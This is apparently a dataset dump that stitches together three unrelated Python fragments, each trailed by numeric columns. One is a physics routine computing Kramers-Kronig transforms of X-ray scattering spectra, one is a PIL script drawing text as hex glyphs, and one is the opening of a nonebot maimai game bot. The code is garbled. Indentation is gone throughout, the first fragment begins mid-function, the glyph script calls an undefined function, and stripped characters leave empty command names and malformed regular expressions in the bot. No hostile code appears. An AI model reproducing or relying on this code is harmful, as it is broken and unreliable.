Symb_3 = (1-1*((X2==E)|(X1==E)))*(Full_coeffs[0, :]*E**2+Full_coeffs[1, :]*E+Full_coeffs[2, :]+Full_coeffs[3, :]*E**-1+Full_coeffs[4, :]*E**-2)*numpy.log(numpy.absolute((X2-E+1*(X2==E))/(X1-E+1*(X1==E))))
Symb_B = numpy.sum(Symb_2 - Symb_1 - Symb_3, axis=1) # Sum areas for approximate integral
# Patch singularities
hits = Energy[1:-1]==E[:,0:-1]
E_hits = numpy.append(numpy.insert(numpy.any(hits, axis=0),[0,0],False),[False,False])
Eval_hits = numpy.any(hits, axis=1)
X1 = Energy[E_hits[2:]]
XE = Energy[E_hits[1:-1]]
X2 = Energy[E_hits[:-2]]
C1 = Full_coeffs[:, E_hits[2:-1]]
C2 = Full_coeffs[:, E_hits[1:-2]]
Symb_singularities = numpy.zeros(len(Eval_Energy))
Symb_singularities[Eval_hits] = (C2[0, :]*XE**2+C2[1, :]*XE+C2[2, :]+C2[3, :]*XE**-1+C2[4, :]*XE**-2)*numpy.log(numpy.absolute((X2-XE)/(X1-XE)))
# Finish things off
KK_Re = (Symb_B-Symb_singularities) / (math.pi*Eval_Energy) + relativistic_correction
logger.debug("Done!")
return KK_Re
def improve_accuracy(Full_E, Real_Spectrum, Imaginary_Spectrum, relativistic_correction, tolerance, recursion=50):
"""Calculate extra data points so that a linear interpolation is more accurate.
Parameters
----------
Full_E : numpy vector of `float`
Set of photon energies describing intervals for which each row of `imaginary_spectrum` is valid
Real_Spectrum : numpy vector of `float`
The real part of the spectrum corresponding to magnitudes at photon energies in Full_E
Imaginary_Spectrum : two-dimensional `numpy.array` of `float`
The array consists of five columns of polynomial coefficients: A_1, A_0, A_-1, A_-2, A_-3
relativistic_correction : float
The relativistic correction to the Kramers-Kronig transform.
(You can calculate the value using the `calc_relativistic_correction` function.)
tolerance : float
Level of error in linear extrapolation of data values to be allowed.
recursion : integer
Number of times an energy interval can be halved before giving up.
Returns
-------
This function returns a numpy array with three columns respectively representing photon energy, the real spectrum and the imaginary spectrum.
"""
logger.debug("Improve data accuracy")
new_points = numpy.cumsum(numpy.ones((len(Full_E)-2,1),dtype=numpy.int8))+1
Im_values = data.coeffs_to_ASF(Full_E, numpy.vstack((Imaginary_Spectrum,Imaginary_Spectrum[-1])))
#plot_Im_values = Im_values
Re_values = Real_Spectrum
E_values = Full_E
temp_Im_spectrum = Imaginary_Spectrum[1:]
count = 0
improved = 1
total_improved_points = 0
while count<recursion and numpy.sum(improved)>0:
#get E_midpoints
midpoints = (E_values[new_points-1]+E_values[new_points])/2.
#evaluate at new points
Im_midpoints = data.coeffs_to_ASF(midpoints, temp_Im_spectrum)
Re_midpoints = KK_PP(midpoints, Full_E, Imaginary_Spectrum, relativistic_correction)
#evaluate error levels
Im_error = abs((Im_values[new_points-1]+Im_values[new_points])/2. - Im_midpoints)
Re_error = abs((Re_values[new_points-1]+Re_values[new_points])/2. - Re_midpoints)
improved = (Im_error>tolerance) | (Re_error>tolerance)
logger.debug(str(numpy.sum(improved))+" points (out of "+str(len(improved))+") can be improved in pass number "+str(count+1)+".")
total_improved_points += numpy.sum(improved)
#insert new points and values
Im_values = numpy.insert(Im_values,new_points[improved],Im_midpoints[improved])
Re_values = numpy.insert(Re_values,new_points[improved],Re_midpoints[improved])
E_values = numpy.insert(E_values,new_points[improved],midpoints[improved])
#prepare for next loop
temp_Im_spectrum =numpy.repeat(temp_Im_spectrum[improved],2,axis=0)
new_points = numpy.where(numpy.insert(numpy.zeros(Im_values.shape, dtype=numpy.bool),new_points[improved],True))[0]
new_points = numpy.vstack((new_points, new_points+1)).T.flatten()
count += 1
#import matplotlib
#matplotlib.use('WXAgg')
#import pylab
#pylab.figure()
#pylab.plot(Full_E,plot_Im_values,'ok')
#pylab.plot(Full_E,Real_Spectrum,'og')
#pylab.plot(midpoints,Im_midpoints,'+b')
#pylab.plot(midpoints,Re_midpoints,'+r')
#pylab.plot(E_values,Im_values,'b-')
#pylab.plot(E_values,Re_values,'r-')
#pylab.plot(midpoints,Im_error,'b-')
#pylab.plot(midpoints,Re_error,'r-')
#pylab.xscale('log')
#pylab.show()
logger.info("Improved data accuracy by inserting "+str(total_improved_points)+" extra points.")
return numpy.vstack((E_values,Re_values,Im_values)).T
def kk_calculate_real(NearEdgeDataFile, ChemicalFormula, load_options=None, input_data_type=None, merge_points=None, add_background=False, fix_distortions=False, curve_tolerance=None, curve_recursion=50):
"""Do all data loading and processing and then calculate the kramers-Kronig transform.
Parameters
----------
NearEdgeDataFile : string
Path to file containg near-edge data
ChemicalFormula : string
A standard chemical formula string consisting of element symbols, numbers and parentheses.
merge_points : list or tuple pair of `float` values, or None
The photon energy values (low, high) at which the near-edge and scattering factor data values
are set equal so as to ensure continuity of the merged data set.
Returns
-------
This function returns a numpy array with columns consisting of the photon energy, the real and the imaginary parts of the scattering factors.
"""
Stoichiometry = data.ParseChemicalFormula(ChemicalFormula)
Relativistic_Correction = calc_relativistic_correction(Stoichiometry)
Full_E, Imaginary_Spectrum = data.calculate_asf(Stoichiometry)
if NearEdgeDataFile is not None:
NearEdge_Data = data.convert_data(data.load_data(NearEdgeDataFile, load_options),FromType=input_data_type,ToType='asf')
Full_E, Imaginary_Spectrum = data.merge_spectra(NearEdge_Data, Full_E, Imaginary_Spectrum, merge_points=merge_points, add_background=add_background, fix_distortions=fix_distortions)
Real_Spectrum = KK_PP(Full_E, Full_E, Imaginary_Spectrum, Relativistic_Correction)
if curve_tolerance is not None:
output_data = improve_accuracy(Full_E,Real_Spectrum,Imaginary_Spectrum, Relativistic_Correction, curve_tolerance, curve_recursion)
else:
Imaginary_Spectrum_Values = data.coeffs_to_ASF(Full_E, numpy.vstack((Imaginary_Spectrum,Imaginary_Spectrum[-1])))
output_data = numpy.vstack((Full_E,Real_Spectrum,Imaginary_Spectrum_Values)).T
return output_data
if __name__ == '__main__':
#use argparse here to get command line arguments
#process arguments and pass to a pythonic function
#I will abuse this section of code for initial testing
#Output = kk_calculate_real('../../data/Xy_norm_bgsub.txt', 'C10SH14', input_data_type='NEXAFS')
Output = kk_calculate_real('../../data/LaAlO3/LaAlO3_Exp.csv', 'LaAlO3', input_data_type='NEXAFS', fix_distortions=True, curve_tolerance=0.05)
#Output = kk_calculate_real('../../data/GaAs/As.xmu.csv', 'GaAs', input_data_type='NEXAFS', fix_distortions=True, curve_tolerance=0.05)
Stoichiometry = data.ParseChemicalFormula('LaAlO3')
#Stoichiometry = data.ParseChemicalFormula('GaAs')
Relativistic_Correction = calc_relativistic_correction(Stoichiometry)
ASF_E, ASF_Data = data.calculate_asf(Stoichiometry)
ASF_Data3 = data.coeffs_to_linear(ASF_E, ASF_Data, 0.1)
ASF_Data2 = data.coeffs_to_ASF(ASF_E, numpy.vstack((ASF_Data,ASF_Data[-1])))
#Test_E = (Output[1:,0]+Output[0:-1,0])*0.5
#Test_E = numpy.linspace(41257.87,41259.87,num=21)
#Real_Spectrum2 = KK_PP(Test_E, Output[:,0], Im, Relativistic_Correction)
import matplotlib
matplotlib.use('WXAgg')
import pylab
pylab.figure()
pylab.plot(Output[:,0],Output[:,1],'xg-',Output[:,0],Output[:,2],'xb-')
pylab.plot(ASF_E,ASF_Data2,'+r')
#pylab.plot(ASF_E,ASF_Data22,'xr')
pylab.plot(ASF_Data3[0],ASF_Data3[1],'r-')
#pylab.plot(Test_E,Real_Spectrum2,'*y')
pylab.xscale('log')
pylab.show()
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1... | 2.527566 | 5,387 |
from PIL import ImageDraw, Image
from math import cos,sin,radians
from random import randint
import sys
a = "a0A1b2B3c4C5d6D7e8E9f!F,g.G/h?H<i>I:j;J'k\"K\\l|L/m M\nn\tN@o#O$p%P^q&Q*r(R)s_S-t+T=u{U}v[V]w W x X y Y z Z"
if len(a) > 128:
print("TOO MANY CHARACTERS")
sys.exit(1)
# for i in a:
# print("%s -> %d %d %d %d %d %d %d "%(i,
# 1 if a.index(i) & 1 == 1 else 0,
# 1 if a.index(i) & 2 == 2 else 0,
# 1 if a.index(i) & 4 == 4 else 0,
# 1 if a.index(i) & 8 == 8 else 0,
# 1 if a.index(i) & 16 == 16 else 0,
# 1 if a.index(i) & 32 == 32 else 0,
# 1 if a.index(i) & 64 == 64 else 0,
# ))
# sys.exit(0)
WHITE=(255,255,255)
PINK=(217,154,197)
BLUE=(103,170,249)
BLACK=(0,0,0)
img = Image.new('RGB', (2560,1600), BLACK)
id = ImageDraw.Draw(img)
q = """This is a test
0123456789%"""
s = 10
cutOff = int(2560/(s*7))
print (cutOff)
x,y = 0,0
for c in q:
drawHex(id, s*2 + x*s*7, s*3 + y*s*7, s, a.index(c))
x+=1
if x >= cutOff or c == "\n":
x,y = 0,y+1
img.show() | [
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... | 1.770903 | 598 |
import math
from collections import defaultdict
from typing import List, Dict, Any
from nonebot import on_command, on_message, on_notice, on_regex, get_driver
from nonebot.log import logger
from nonebot.permission import Permission
from nonebot.typing import T_State
from nonebot.adapters import Event, Bot
from nonebot.adapters.cqhttp import Message, MessageSegment, GroupMessageEvent, PrivateMessageEvent
from src.libraries.maimaidx_guess import GuessObject
from src.libraries.tool import hash
from src.libraries.maimaidx_music import *
from src.libraries.image import *
from src.libraries.maimai_best_40 import generate
import requests
import json
import random
import time
import re
from urllib import parse
driver = get_driver()
inner_level = on_command('inner_level ', aliases={' '})
spec_rand = on_regex(r"^(?:dx|sd|)?[]?[0-9]+\+?")
mr = on_regex(r".*maimai.*")
search_music = on_regex(r"^.+")
query_chart = on_regex(r"^([]?)id([0-9]+)")
wm_list = ['', '', '', '', '', '', '', '', '', '', '']
jrwm = on_command('', aliases={'mai'})
music_aliases = defaultdict(list)
f = open('src/static/aliases.csv', 'r', encoding='utf-8')
tmp = f.readlines()
f.close()
for t in tmp:
arr = t.strip().split('\t')
for i in range(len(arr)):
if arr[i] != "":
music_aliases[arr[i].lower()].append(arr[0])
find_song = on_regex(r".+")
query_score = on_command('')
query_score_text = '''
<+id> <>
337 100
TAP GREAT BREAK 50 TAP GREAT
TAP GREAT
GREAT/GOOD/MISS
TAP 1/2.5/5
HOLD 2/5/10
SLIDE 3/7.5/15
TOUCH 1/2.5/5
BREAK 5/12.5/25(200)'''
query_score_mes = Message([{
"type": "image",
"data": {
"file": f"base64://{str(image_to_base64(text_to_image(query_score_text)), encoding='utf-8')}"
}
}])
best_40_pic = on_command('b40')
disable_guess_music = on_command('', priority=0)
guess_dict: Dict[Tuple[str, str], GuessObject] = {}
guess_cd_dict: Dict[Tuple[str, str], float] = {}
guess_music = on_command('', priority=0)
guess_music_solve = on_message(priority=20)
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62... | 2.471154 | 832 |